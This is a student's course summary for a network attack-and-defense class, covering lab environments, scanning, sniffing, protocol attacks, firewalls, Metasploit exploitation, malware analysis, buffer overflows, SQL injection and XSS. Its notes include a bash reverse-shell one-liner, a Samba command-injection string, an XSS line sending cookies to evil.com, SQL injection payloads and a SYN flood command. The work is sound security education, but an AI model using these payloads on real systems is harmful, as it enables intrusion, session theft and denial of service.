20253906 2025-2026-2 《网络攻防实践》第12周作业
1.内容总结
第1次实践 网络攻防实验环境搭建:基于 VMware 虚拟化技术构建完整的网络攻防实验平台,配置 VMnet1 和 VMnet8 虚拟网络,部署 3 台攻击机(Kali Linux、WinXPattacker、SEED Ubuntu)、2 台靶机(Metasploitable Ubuntu、Windows 2000 Server)和 HoneyWall 蜜网网关,完成全网连通性测试与蜜网网关 Web 管理界面验证。
第2次实践 网络信息收集技术:从公开渠道和工具获取目标网络基本信息,使用 whois 查询域名与 IP 注册信息,nslookup 和 dig 进行 DNS 解析,Nmap 进行主机发现、端口扫描、操作系统识别和服务版本探测,Nessus 进行漏洞扫描与风险评估。
第3次实践 网络嗅探与协议分析:使用抓包工具分析网络通信过程与协议行为,用 tcpdump 通过 BPF 过滤规则捕获 SYN 包,用 Wireshark 分析 TELNET 明文传输的用户名和密码,对 listen.pcap 流量包进行取证分析,识别 Nmap TCP SYN 半连接扫描行为。
第4次实践 TCP/IP 协议栈攻击:利用 TCP/IP 协议设计缺陷实施网络攻击,使用 netwox 工具完成 ARP 缓存欺骗、ICMP 重定向、SYN Flood、TCP RST 和 TCP 会话劫持攻击,验证各协议的安全缺陷并分析攻击效果。
第5次实践 防火墙与入侵检测:学习网络边界防护技术与攻击检测方法,配置 Linux iptables 和 Windows 防火墙实现数据包过滤与访问控制,使用 Snort 配置规则检测端口扫描等攻击行为,研究蜜网网关中防火墙、NIDS 和 NIPS 的协同工作机制。
第6次实践 Windows 系统远程渗透攻击:利用 Windows 系统服务漏洞实施远程代码执行,使用 Metasploit 框架对 MS08-067 漏洞进行渗透攻击,获取目标主机 SYSTEM 权限 Shell,进行创建管理员用户、开启远程桌面等后渗透操作,并通过 Wireshark 抓包分析攻击流量。
第7次实践 Linux 系统远程渗透攻击:利用 Linux 系统服务漏洞实施远程代码执行,使用 Metasploit 框架对 Samba 服务 Usermap_script 漏洞和 vsftpd 2.3.4 后门漏洞进行渗透攻击,获取 root 权限 Shell,并进行攻防对抗实践,防守方分析攻击流量识别攻击行为。
第8次实践 恶意代码分析与僵尸网络:学习恶意代码的静态与动态分析方法和僵尸网络的工作机制,对 RaDa 恶意代码样本进行文件格式识别、UPX 脱壳、字符串提取和 IDA Pro 逆向分析,分析蜜罐捕获的僵尸网络流量,识别 IRC 协议通信模式并统计僵尸主机数量。
第9次实践 缓冲区溢出与 Shellcode 注入:利用程序内存漏洞实施代码执行攻击,通过手工修改可执行文件、利用缓冲区溢出覆盖返回地址、注入自定义 Shellcode 三种方式,使 pwn1 程序跳转到 getShell 函数执行,获取系统 Shell 权限。
第10次实践 Web 应用安全(SQL 注入与 XSS):学习 Web 应用常见漏洞的利用与防御,进行 SELECT 注入绕过登录验证、UPDATE 注入修改薪资数据的 SQL 注入攻击,以及基础弹窗、Cookie 窃取、自动加好友的 XSS 跨站脚本攻击,并使用预处理语句和 HTML 过滤插件进行漏洞修复。
第11次实践 浏览器安全攻防实践:利用浏览器漏洞实施渗透攻击并分析网页木马的攻击链路,使用 Metasploit 的 MS06-014 漏洞模块生成恶意网页木马,在靶机 IE 浏览器中触发漏洞建立远程控制会话,逐层解密嵌套的恶意脚本,还原网页木马的多层嵌套加载与攻击链路。
2.最喜欢且做得最好的实践是哪次?为什么?
分析内容和原因,不建议用LLM写和优化。
3.本门课学到的知识总结(重点写)
实验1:网络攻防环境搭建
1.用虚拟机的理由
- 隔离:攻击实验可能造成系统崩溃或植入恶意程序,虚拟机与宿主机隔离,不影响真实系统。
- 多主机:单台物理机可以运行攻击机、靶机、蜜网网关等多个虚拟机。
2.三种虚拟网络模式(VMware)
-
桥接模式:虚拟机与宿主机在同一个物理网络中,拥有独立IP,如同真实计算机。
- 用途:靶机需要被外部访问时使用。
-
NAT模式:宿主机充当路由器,虚拟机通过宿主机访问外网,但外部无法直接访问虚拟机。
- 用途:攻击机需要更新软件时使用NAT上网。
-
仅主机模式:所有仅主机模式的虚拟机之间、以及与宿主机之间可以通信,但与外部网络完全隔离。
- 用途:最常用的攻击实验网络,防止攻击流量扩散到真实网络。
3.实验角色与系统选择
-
攻击机:Kali Linux —— 预装数百种渗透工具(nmap、Metasploit、Burp Suite等)。
-
靶机:故意留有大量漏洞(弱口令、未打补丁的服务、配置错误)。
-
蜜网网关(如Honeywall)—— 用于捕获和分析攻击流量。
实验2:网络信息收集技术
1. 信息搜集的分类
-
被动搜集:不向目标发送任何数据包,完全利用公开资源。
-
主动搜集:直接与目标系统交互(如扫描端口),可能被记录。
2. 被动搜集技术
-
DNS查询
-
域名系统(DNS)把域名转成IP。查询DNS记录可了解目标的网络架构。
-
nslookup:交互式查询。
例:nslookup www.baidu.com 返回百度IP。 -
dig:更详细,可指定记录类型。
例:dig baidu.com MX 查询邮件服务器;dig baidu.com NS 查询域名服务器。 -
常见记录类型:A(IPv4)、AAAA(IPv6)、MX(邮件交换)、NS(域名服务器)、TXT(文本,常含SPF、验证信息)。
-
-
WHOIS查询
-
WHOIS数据库存储域名注册信息(注册人、邮箱、电话、注册商、创建/过期时间)。
-
命令行:whois example.com。
-
攻击价值:注册邮箱可用于钓鱼;注册人信息用于社会工程。
-
-
社交工程搜集
-
通过即时通讯(如QQ、微信)的“附近的人”、IP显示功能、发送带追踪图片的链接来获取对方地理位置。
-
通过微博、LinkedIn等公开信息推测密码、习惯、工作单位。
-
3. 主动搜集技术
-
主机发现(判断哪些IP存活)
-
ARP扫描(局域网内最可靠):nmap -sn 192.168.100.0/24 会发送ARP请求,几乎不会被防火墙拦截。
-
ICMP ping:ping 目标IP,但很多防火墙会丢弃ICMP。
-
TCP SYN ping:nmap -PS 目标IP 向常见端口(默认80)发SYN,收到RST表示主机存活。
-
-
端口扫描
-
端口是网络服务的人口,扫描端口可了解开放了哪些服务。
-
SYN半开扫描(-sS):发送SYN包,如果收到SYN+ACK说明端口开放,立即发RST复位,不建立完整连接。速度快、隐蔽。
-
TCP全连接扫描(-sT):完成三次握手,准确但易被日志记录。
-
UDP扫描(-sU):慢、不可靠,因为UDP无应答机制,通常需要发特定探针。
-
常用端口:22(SSH)、23(Telnet)、80(HTTP)、443(HTTPS)、445(SMB)、3306(MySQL)。
-
-
服务与版本探测(-sV)
-
nmap -sV 目标IP 会向开放端口发送特定的探针数据,根据回应判断服务类型和版本(如Apache 2.4.7、OpenSSH 7.2p2)。
-
版本信息可用于搜索已知漏洞(如SearchSploit)。
-
-
操作系统识别(-O)
- nmap -O 目标IP 通过分析TCP/IP栈的不同实现(如初始TTL、TCP窗口大小、选项字段)猜测操作系统(Windows、Linux、IOS等)。
-
漏洞扫描
-
Nessus:商业级漏洞扫描器,有免费版。
-
工作流程:配置扫描策略(如“基础网络扫描”)→ 设置目标IP → 启动扫描 → 生成报告(包含漏洞名称、CVE编号、CVSS评分、修复建议)。
-
注意:漏洞扫描会产生大量流量,可能触发IDS/IPS。
-
4. 信息整合
-
将域名、IP、开放端口、服务版本、操作系统、潜在漏洞关联起来,形成攻击面地图。
-
例如:发现靶机开放22端口,服务OpenSSH 4.7,而CVE-2008-0166存在Debian OpenSSH密钥漏洞,可针对性攻击。
5. 道德与法律边界
- 未经授权扫描他人系统违法(《网络安全法》第二十七条)。实验仅在自建环境进行。
实验3:网络嗅探与协议分析
1. 网络嗅探原理
-
网卡通常只接收目的MAC地址是自己的帧(非混杂模式)。
-
混杂模式:网卡接收所有经过的帧,不管MAC地址。在共享介质(如集线器、无线网络)中可嗅探所有流量。
-
交换机环境下:交换机根据MAC地址表转发帧,默认不会把端口A的流量复制给端口B。要嗅探必须使用ARP欺骗(实验4)将流量引向攻击机。
2. 抓包工具
-
tcpdump(命令行)
-
基本用法:sudo tcpdump -i eth0 监听eth0接口。
-
保存文件:-w capture.pcap,读取:-r capture.pcap。
-
过滤器:host 192.168.1.1、port 80、tcp、icmp,可组合 and/or/not。
-
例:tcpdump -i eth0 -s 0 -w telnet.pcap tcp port 23(抓取Telnet流量)。
-
-
Wireshark(图形化)
-
显示过滤器:ip.src == 192.168.1.10、tcp.port == 23、http.request.method == "POST"。
-
流追踪:右键一个包 → Follow → TCP/UDP/HTTP Stream,可重组会话内容。
-
数据包解码:可查看每一层(以太网、IP、TCP、应用层)的字段值。
-
3. 明文协议分析——Telnet案例
-
Telnet远程登录协议:所有数据(包括用户名、密码)明文传输。
-
操作:Kali上 telnet 靶机IP,输入用户名密码,同时在Wireshark过滤 tcp.port == 23,可以看到每个字符的ASCII码。
-
安全教训:永远不要在不安全网络使用Telnet,应使用SSH。
4. 被动指纹识别(p0f)
-
p0f不发送任何包,只监听网络流量。通过分析入向SYN包的TCP选项(MSS、窗口缩放因子、TTL、窗口大小)判断源主机的操作系统甚至应用。
-
原理:不同OS的TCP/IP栈实现有细微差异。
-
使用:sudo p0f -i eth0 启动后,任何连接你的主机都会被尝试识别。
5. 入侵检测系统基础(Snort)
-
Snort可以工作为:嗅探器(-v)、包记录器(-d)、网络IDS(-c 配置文件)。
-
规则格式:alert tcp any any -> 192.168.1.0/24 80 (msg:"HTTP request"; sid:1000001;)
意思:如果任何源IP任意端口向192.168.1.0/24网段的80端口发送TCP包,产生告警。 -
实验中将Snort配置为IDS模式,让它检测nmap扫描(如连续多个端口SYN),观察告警日志。
6. 防御嗅探
-
使用交换网络(默认)比集线器安全,但需配合端口安全、DHCP Snooping、DAI来防止ARP欺骗。
-
最重要:加密!使用HTTPS、SSH、VPN等加密协议,即使被嗅探也无法提取明文。
实验4:TCP/IP协议栈攻击
1. ARP欺骗(中间人攻击)
-
ARP协议:IP地址 → MAC地址的映射协议,无认证,任何主机都可以发送ARP应答。
-
攻击原理:攻击机不断向靶机发送伪造的ARP应答,声称“网关IP对应的MAC是攻击机的MAC”。靶机更新ARP缓存,之后发往网关的流量都会先到攻击机。
-
后果:攻击机可以嗅探、篡改、阻断靶机所有外网流量。
-
防御:静态ARP(不现实)、动态ARP检测(DAI,交换机绑定IP-MAC)、使用加密通信。
2. ICMP重定向攻击
-
ICMP重定向用于告诉主机有更优路由。攻击者伪造ICMP重定向包,让靶机认为攻击机是去往其他网络的下一跳。
-
防御:大多数操作系统可以忽略ICMP重定向(
sysctl -w net.ipv4.conf.all.accept_redirects=0)。
3. SYN Flood(拒绝服务)
-
原理:TCP三次握手中,服务器收到SYN后分配半连接资源,等待ACK。攻击者发送大量SYN但不发ACK,耗尽服务器半连接队列,导致合法用户无法连接。
-
操作:hping3 --flood -S -p 80 靶机IP。
-
防御:启用SYN Cookie(不分配资源直到收到ACK)、增大半连接队列、部署抗DDoS设备。
4. TCP RST攻击
-
发送伪造的TCP RST包,中断一个现有连接。如:伪造网关发RST给靶机,切断其SSH会话。
-
需要知道连接的源IP、目标IP、端口和序列号(通过嗅探或猜测)。
5. TCP会话劫持
-
如果攻击者能预测TCP序列号,可以注入恶意数据。例如:当靶机与服务器进行FTP会话时,攻击者插入 rm * 命令。
-
工具:netwox 的40号工具。
-
防御:使用加密协议(TLS/SSH),或为TCP添加认证选项(TCP-AO)。
6. 综合防御思想
-
分层防御:防火墙过滤异常包、IDS检测攻击行为、加密协议防止数据泄露。
-
理解协议弱点是设计安全系统的前提。
实验5:防火墙与入侵检测
1. iptables防火墙
-
表(tables):不同功能的规则集合。
-
filter表(默认):决定是否放行包(INPUT、OUTPUT、FORWARD)。
-
nat表:网络地址转换(PREROUTING、POSTROUTING)。
-
mangle表:修改IP包头部。
-
-
链(chains):数据包经过的检查点。如INPUT链处理发往本机的包。
-
规则匹配:
-
-p tcp协议 -
--dport 22目标端口 -
-s 192.168.1.0/24源地址 -
-m state --state ESTABLISHED,RELATED连接状态(允许已建立连接的回包)。
-
-
动作:ACCEPT(放行)、DROP(静默丢弃)、REJECT(返回错误)、LOG(记录日志)。
-
实战规则:
iptables -A INPUT -p icmp --icmp-type echo-request -j DROP # 禁ping
iptables -A INPUT -p tcp --dport 22 -s 192.168.1.0/24 -j ACCEPT # 只允许局域网SSH
iptables -A INPUT -p tcp --dport 22 -j DROP # 拒绝其他SSH
iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT --to-dest 192.168.1.100:80
2. Snort IDS
-
IDS:入侵检测系统,只报警不阻断(IPS会阻断)。
-
规则格式:
alert tcp !192.168.1.0/24 any -> 192.168.1.1 80 (msg:"外部访问Web"; sid:1000001;) -
处理流程:解包 → 预处理(分片重组、HTTP解码) → 规则匹配 → 输出告警。
-
实验:让Snort读取抓取的pcap文件,或实时监听接口,观察nmap扫描触发的告警。
3. 蜜网技术
-
蜜罐:诱骗攻击者的假系统。低交互(模拟服务),高交互(真实OS)。
-
蜜网:多个蜜罐组成的网络,由蜜网网关控制。
-
蜜网网关功能:
-
数据控制:限制蜜罐外发连接(如每分钟最多2个出站连接),防止攻击者利用蜜罐攻击他人。
-
数据捕获:记录所有进出蜜罐的流量(使用tcpdump、Sebek等)。
-
数据隐藏:修改流量中的TTL、MAC地址,让攻击者难以发现自己在蜜罐中。
-
-
分析价值:捕获0day攻击、了解攻击者工具、手法、动机。
4. 安全加固思路
- 先扫描发现漏洞,然后配置防火墙、打补丁、设置强密码,最后用IDS监控。
实验6:Windows系统远程渗透攻击
1. Metasploit框架
-
模块:
-
exploit:漏洞利用代码(如 windows/smb/ms08_067_netapi)。
-
payload:漏洞触发后执行的代码(如 windows/meterpreter/reverse_tcp)。
-
auxiliary:辅助模块(扫描、爆破等)。
-
-
工作流程:
- msfconsole 启动。
- search ms08-067 查找模块。
- use exploit/windows/smb/ms08_067_netapi。
- show options 查看需要设置的参数(RHOSTS目标IP)。
- set RHOSTS 192.168.100.20。
- set PAYLOAD windows/meterpreter/reverse_tcp。
- set LHOST 攻击机IP(反弹连接的接收IP)。
- exploit。
2. MS08-067漏洞详解
-
影响:Windows 2000/XP/2003/2008未打KB958644补丁。
-
成因:NetAPI32.dll中的 NetpwPathCanonicalize 函数处理路径规范化时栈缓冲区溢出。
-
特点:远程、无需认证、成功率极高。
3. Meterpreter后渗透
-
获得shell后常用操作:
-
sysinfo 查看系统信息。
-
getuid 查看当前用户。
-
getsystem 尝试提权至SYSTEM。
-
screenshot 截屏。
-
keyscan_start / keyscan_dump 键盘记录。
-
shell 进入cmd。
-
upload / download 文件传输。
-
4. Windows取证基础
-
事件查看器:安全日志中的4624(登录成功)、4625(登录失败)可追踪异常登录。
-
注册表:
-
HKLM\Software\Microsoft\Windows\CurrentVersion\Run 开机自启项,常被恶意软件利用。
-
HKLM\SAM 存储用户密码哈希(但被系统保护)。
-
-
命令行取证:
-
net user 查看用户,检查是否有隐藏账户。
-
tasklist 查看可疑进程。
-
netstat -ano 查看异常网络连接。
-
-
工具:Sysinternals套件(Autoruns、Process Explorer)。
5. 加固建议
- 关闭不必要服务、打补丁、使用防火墙限制SMB端口(445)仅内部访问。
实验7:Linux系统远程渗透攻击
1. Samba漏洞CVE-2007-2447
-
影响:Samba 3.0.20 – 3.0.25rc3。
-
成因:username map script 选项允许指定脚本,攻击者通过在用户名后加 % 和命令注入执行。
-
利用:
smbclient //靶机IP/tmp -U "nobody%`id`"
执行 id 命令,结果会在smbclient输出中返回。
- Metasploit模块:exploit/multi/samba/usermap_script。
2. 反弹Shell与正向Shell
-
正向Shell:靶机监听端口,攻击机连接(容易受阻于防火墙)。
-
反弹Shell:靶机主动连接攻击机的监听端口,更常见。
-
在靶机上执行:bash -i >& /dev/tcp/攻击机IP/4444 0>&1
-
攻击机提前监听:nc -lvnp 4444
-
3. Linux日志分析
-
/var/log/auth.log(或 /var/log/secure):所有认证事件(SSH登录、sudo)。
-
/var/log/syslog:系统通用日志。
-
/var/log/samba/:Samba日志。
-
常用命令:grep "Failed password" /var/log/auth.log 查看暴力破解。
4. Linux加固
-
更新软件:apt update && apt upgrade。
-
移除未使用服务:systemctl disable smbd。
-
配置防火墙:仅允许信任IP访问Samba端口。
-
最小权限:map to guest = never。
5. 攻防对抗思维
-
攻击方:扫描 → 识别服务版本 → 搜索漏洞 → 利用 → 提权 → 维持访问。
-
防御方:关闭漏洞服务 → 限制访问 → 监控日志 → 部署IDS → 定期演练。
实验8:恶意代码分析与僵尸网络
1. 静态分析(不动行恶意代码)
-
文件识别:
file sample.exe显示文件类型(如PE32、UPX压缩)。 -
哈希值:
md5sum sample.exe用于标识样本(类似指纹)。 -
字符串提取:
strings sample.exe输出可读字符串,可能包含URL、IP、作者信息、注册表路径。 -
查壳与脱壳:
-
壳:压缩/加密可执行文件,阻止静态分析。
-
UPX壳:
upx -d sample.exe脱壳。 -
手动脱壳:使用调试器(x64dbg)单步跟踪到程序入口点(OEP)后dump内存。
-
-
导入表:
pedump或objdump -p sample.exe查看调用了哪些DLL和函数(如 InternetOpen 暗示网络活动)。
2. 动态分析(在沙箱中运行)
-
环境:隔离虚拟机(断网或模拟网络INetSim)。
-
Process Monitor(procmon):监控进程创建、文件读写、注册表修改、网络连接。
-
网络监控:Wireshark抓包,查看是否连接C2服务器。
-
API监控:API Monitor 跟踪程序调用的系统API。
-
行为汇总:比如样本创建了
C:\Windows\Temp\svchost.exe,添加了注册表Run项,连接了 evil.com。
3. 逆向工程基础
-
IDA Pro:静态反汇编,可查看流程图、交叉引用。
-
x64dbg:动态调试,可设断点、单步执行、修改寄存器和内存。
-
Crackme分析:一个需要破解的小程序。常见技巧:找到验证函数(通过字符串
Wrong password定位),修改跳转指令(je→jne)或计算序列号。
4. 僵尸网络数据源分析
-
僵尸网络是被控主机(僵尸)组成的网络,用于DDoS、垃圾邮件等。
-
分析捕获的流量,找到IRC频道或HTTP请求中的C2服务器地址、命令格式。
-
统计感染主机数、攻击目标。
5. 恶意代码分类
-
病毒:依附于其他程序,感染宿主。
-
蠕虫:自我复制,通过网络主动传播。
-
木马:伪装成正常软件,无自传播能力。
-
传播方式:邮件附件、漏洞利用、U盘、社会工程。
实验9:缓冲区溢出与Shellcode注入
1. 内存布局(32位Linux)
-
地址从高到低:环境变量/参数 → 栈(向下增长) → 共享库 → 堆(向上增长) → 数据段(.bss, .data) → 代码段(.text)。
-
栈帧:每次函数调用会压入返回地址(EIP)、旧的EBP、局部变量。
2. 缓冲区溢出原理
-
不安全的C函数:strcpy()、gets()、sprintf() 不检查边界。
-
如果用户输入超出数组长度,就会覆盖栈上的EBP和返回地址。
-
攻击者精心构造输入,使返回地址指向一段恶意代码(shellcode)。
3. 漏洞利用步骤
-
确定偏移量:输入一串特征字符串(如 Aa0Aa1Aa2...),程序崩溃时查看EIP的值。用Metasploit的 pattern_create 和 pattern_offset 计算覆盖返回地址需要多少个字节。
-
构造payload:[填充字节][返回地址][shellcode]。
-
添加NOP sled:\x90 重复多次,即使返回地址稍有偏差也能滑入shellcode。
-
编写脚本:用Python的 struct.pack 写出二进制payload。
-
测试:在GDB中运行漏洞程序,传入payload,成功则获得shell。
4. Shellcode
-
一串机器码,执行系统调用(如 execve("/bin/sh"))。
-
编写方法:C内联汇编,提取 \x 序列,确保不含 \x00(否则被字符串函数截断)。
5. 现代防护与绕过(了解)
-
ASLR:地址随机化,栈地址每次不同。绕过:先泄露地址(如format string漏洞)或利用未随机化的段(如PLT)。
-
NX:栈不可执行。绕过:ret2libc(调用libc函数如system)或ROP(拼接代码片段)。
-
Stack Canary:返回地址前的随机值,溢出前检查。绕过:泄露canary或覆盖异常处理。
实验10:Web应用安全(SQL注入与XSS)
1. SQL注入
- 原理:Web应用将用户输入拼接到SQL语句中,未做过滤。
$sql = "SELECT * FROM users WHERE username = '".$_GET['username']."'";
输入 admin' OR '1'='1 后,语句变为 ... WHERE username = 'admin' OR '1'='1',永远为真,绕过登录。
-
联合查询注入:
输入 ' UNION SELECT null, username, password FROM users --,可提取其他表数据。 -
报错注入:利用 extractvalue() 等函数主动引发错误,错误信息中携带数据。
-
盲注:页面不返回数据内容,只返回“是/否”。用布尔条件 AND SUBSTRING(password,1,1)='a' 或时间延迟 AND IF(1=1, SLEEP(5), 0) 逐个字符猜解。
-
检测工具:sqlmap -u "http://example.com/page?id=1" --dbs 自动检测和利用。
-
修复:参数化查询(PreparedStatement),如 SELECT * FROM users WHERE username = ?,数据与语句分离。或严格过滤输入。
2. 跨站脚本(XSS)
- 原理:Web应用输出用户输入时未转义,导致浏览器执行恶意JavaScript。
echo $_GET['comment'];
输入 <script>alert(1)</script>,弹出框。
-
类型:
-
反射型:恶意参数在URL中,需诱导点击。如 search.php?q=。
-
存储型:恶意代码存入数据库,所有访客受影响(如留言板)。
-
DOM型:前端JavaScript动态添加内容导致,不涉及后端。
-
-
利用:
-
窃取Cookie:location.href='http://evil.com/steal?cookie='+document.cookie
-
劫持会话:将窃取的Cookie用于浏览器登录。
-
键盘记录、篡改页面、钓鱼表单。
-
-
检测工具:Burp Suite扫描器,或手工构造payload。
-
修复:
-
输出编码:根据上下文,HTML输出转义 <,JS输出转义引号。
-
HttpOnly Cookie:禁止JavaScript读取Cookie。
-
CSP(内容安全策略):限制可执行脚本的源。
-
3. Burp Suite基本使用
-
设置代理(127.0.0.1:8080),拦截请求,修改参数(如 id=1 改为 id=1 AND 1=2),观察响应。
-
Repeater:重放修改后的请求。
-
Intruder:自动化爆破或模糊测试。
实验11:浏览器安全攻防实践
1. 浏览器漏洞利用原理
-
浏览器(尤其是旧版IE)为了功能丰富,支持ActiveX控件,但这些控件可能存在缓冲区溢出。
-
MS06-014:RDS.DataSpace ActiveX控件的 CreateObject 方法栈溢出,可执行任意代码。
-
攻击者构造恶意HTML页面,当受害者用IE访问时,触发溢出,执行shellcode,下载木马或反弹shell。
4.课堂的收获与不足
4.1收获
我本科的时候就参加过一些ctf比赛。由于专业课课程复杂,卷绩点,没有学习氛围等原因,在学习网络攻防的路上最终只是浅尝辄止。在学习之前,我总觉得要认真学会很多基础知识,了解各种攻防手段的原理,把他彻底弄明白了才开始实操。
做完过去11次实验之后,我认为只要掌握好基础知识(计算机专业最基础的知识),网络攻防绝对是个便操作边学习的过程,是在发现问题——>了解问题——>解决问题的过程中获得知识和技能。
在课堂中的收获数不胜数。我想最大的收获便是,入门了攻防实践,自己的解决问题的能力在课堂的实验中大幅度提升。我从理论到动手操作,系统地掌握了网络攻防的核心技术与工具。如果要写简历,我认为我可以自信的在简历上写我熟练掌握了如下技能:)
- 虚拟化环境搭建(VMware)、网络抓包分析(Wireshark/tcpdump)
- 信息搜集(Nmap/Nessus)、漏洞利用(Metasploit)
- 协议攻击(ARP欺骗/SYN Flood/TCP会话劫持)
- 防火墙与IDS(iptables/Snort)
- 恶意代码分析(静态/动态/IDA Pro)
- 二进制漏洞(缓冲区溢出/Shellcode)
- Web安全(SQL注入/XSS)
- 浏览器漏洞利用与取证
以前我对攻防的几个赛道(如web安全、逆向、二进制等)了解较模糊,通过实验,我将零碎的知识拼凑起来。之前我觉得网络攻防是个巨难的东西,要将计算机网络、操作系统、数据库等课程中学到的抽象理论,了解的特别清楚,然后各种工具使用的很熟练。通过这门课,我觉得我在实践中将所学的理论转化为了具体的操作能力。之前只在课本上了解 TCP 三次握手和 ARP 协议的工作流程,通过 TCP/IP 协议栈攻击实验,亲手实施了 ARP 缓存欺骗和 SYN Flood 攻击,才真正理解了协议设计缺陷带来的安全隐患,而且通过wireshark分析报文,让我直观的了解了底层协议报文传输的过程。毕竟之前在课本上学,觉得那是底层的协议,我在应用层不必过度了解,但是直观的看到这些报文在我电脑上显示出来还是感觉很震撼。有一种特别的感觉,比如你一直知道这个生物的运行是靠细胞构成的各种器官,进而组建成各种组织和系统协同合作,来维持一个生命体的运行。但是在日常生活中我们必定是感受不到的,如果能感受到我们每一个挥手,每一个呼吸,每一次思考都是有最底层的信号传递在起作用,还是还是很震撼。
4.2不足
由于做实验写报告花的时间一般比上课时间长,所以课下做实验写报告是常有的事。平时要看论文,要上课,要有很多生活中其他的事情。这些原因导致了我在每一次的实验中,仅仅以老师规定的内容为实验目的,没有真正的以了解知识为导向,甚至有时候会出现为了完成任务,对要做的实验不是很了解便去机械的重复实验过程的情况。虽然事后有时间的时候有在了解实验的相关知识,但是这种情况违背了学习的初衷,初衷是为了应付节省时间,可是对实验不了解,遇到问题不会解决,事后了解总的时间远大于先了解再去实践操作的时间。
5.参考文献
参考文献1
参考文献1

浙公网安备 33010602011771号